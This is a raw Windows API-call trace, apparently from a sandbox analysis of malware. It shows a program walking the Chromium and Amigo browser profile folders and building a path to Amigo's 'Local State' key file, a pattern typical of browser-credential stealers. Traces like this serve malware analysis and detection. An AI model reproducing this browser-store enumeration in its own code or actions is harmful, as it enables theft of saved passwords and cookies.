[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.759] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.759] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\"
[0052.759] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\"
[0052.759] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\"
[0052.759] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State"
[0052.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65
[0052.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x82) returned 0x67d968
[0052.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=65, lpWideCharStr=0x67d968, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned 65
[0052.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67d9f8
[0052.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.760] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\local state")) returned 0xffffffff
[0052.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0052.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.760] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*") returned 54
[0052.760] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.760] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.760] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.760] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.760] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.761] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.761] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.762] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
